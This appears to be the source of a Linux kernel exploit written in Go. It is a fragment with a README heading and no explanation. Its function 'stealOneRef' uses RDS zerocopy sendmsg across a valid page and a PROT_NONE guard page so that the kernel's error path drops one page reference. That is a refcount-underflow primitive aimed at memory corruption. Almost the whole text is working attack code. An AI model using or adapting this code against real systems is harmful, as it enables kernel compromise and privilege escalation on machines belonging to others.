README.md
Rendering markdown...
package main
import (
"syscall"
"unsafe"
)
const (
afRDS = 21
solRDS = 276
soRDSTransport = 8
rdsCMSGZcookieType = 12 // RDS_CMSG_ZCOPY_COOKIE
soZerocopy = 60
msgZerocopy = 0x4000000
pageSize = 4096
portBase = 20000
)
// cmsghdr layout verified on x86_64:
// offset 0: cmsg_len (size_t = uint64, 8 bytes)
// offset 8: cmsg_level (int32, 4 bytes)
// offset 12: cmsg_type (int32, 4 bytes)
// sizeof = 16
// CMSG_LEN(4) = 16 + 4 = 20
// CMSG_SPACE(4) = 16 + CMSG_ALIGN(4) = 16 + 8 = 24
type cmsghdr struct {
Len uint64 // size_t
Level int32
Type int32
}
type rawSockaddrInet4 struct {
Family uint16
Port uint16
Addr [4]byte
Zero [8]byte
}
// linux msghdr (x86_64)
type msghdr struct {
Name *rawSockaddrInet4
Namelen uint32
Pad0 uint32
Iov *syscall.Iovec
Iovlen uint64
Control *byte
Controllen uint64
Flags int32
Pad1 int32
}
// stealOneRef : sendmsg RDS zcopy sur (page, guard) -> GUP pin page OK,
// guard PROT_NONE -> fault -> error path: put_page + __free_page -> -1 refcount.
func stealOneRef(pageAddr uintptr, port int) syscall.Errno {
fd, _, errno := syscall.RawSyscall(syscall.SYS_SOCKET, afRDS, syscall.SOCK_SEQPACKET, 0)
if errno != 0 {
return errno
}
defer syscall.Close(int(fd))
v := int32(1)
syscall.Syscall6(syscall.SYS_SETSOCKOPT, fd,
syscall.SOL_SOCKET, soZerocopy,
uintptr(unsafe.Pointer(&v)), 4, 0)
sndbuf := int32(2 * pageSize * 4)
syscall.Syscall6(syscall.SYS_SETSOCKOPT, fd,
syscall.SOL_SOCKET, syscall.SO_SNDBUF,
uintptr(unsafe.Pointer(&sndbuf)), 4, 0)
v = 2
syscall.Syscall6(syscall.SYS_SETSOCKOPT, fd,
solRDS, soRDSTransport,
uintptr(unsafe.Pointer(&v)), 4, 0)
bindSA := rawSockaddrInet4{
Family: syscall.AF_INET,
Port: htons(uint16(port)),
Addr: [4]byte{127, 0, 0, 1},
}
syscall.RawSyscall(syscall.SYS_BIND, fd,
uintptr(unsafe.Pointer(&bindSA)), 16)
destSA := bindSA
destSA.Port = htons(uint16(port + 1))
// iov : page valide + page guard PROT_NONE -> GUP fault sur 2eme page
iov := syscall.Iovec{
Base: (*byte)(unsafe.Pointer(pageAddr)),
Len: 2 * pageSize,
}
// cmsg : SOL_RDS / RDS_CMSG_ZCOPY_COOKIE
// CMSG_SPACE(4) = 24 octets, CMSG_LEN(4) = 20
cmsgBuf := make([]byte, 24)
cm := (*cmsghdr)(unsafe.Pointer(&cmsgBuf[0]))
cm.Len = 20 // CMSG_LEN(sizeof(uint32)) = 16 + 4 = 20
cm.Level = solRDS
cm.Type = rdsCMSGZcookieType // 12 = RDS_CMSG_ZCOPY_COOKIE
// cmsgBuf[16..19] = cookie uint32 = 0 (zero-initialise par make)
msg := msghdr{
Name: &destSA,
Namelen: 16,
Iov: &iov,
Iovlen: 1,
Control: &cmsgBuf[0],
Controllen: 24, // CMSG_SPACE(4)
}
_, _, sendErrno := syscall.RawSyscall(syscall.SYS_SENDMSG, fd,
uintptr(unsafe.Pointer(&msg)),
msgZerocopy|syscall.MSG_DONTWAIT)
return sendErrno
}
func htons(v uint16) uint16 {
return (v<<8)&0xff00 | v>>8
}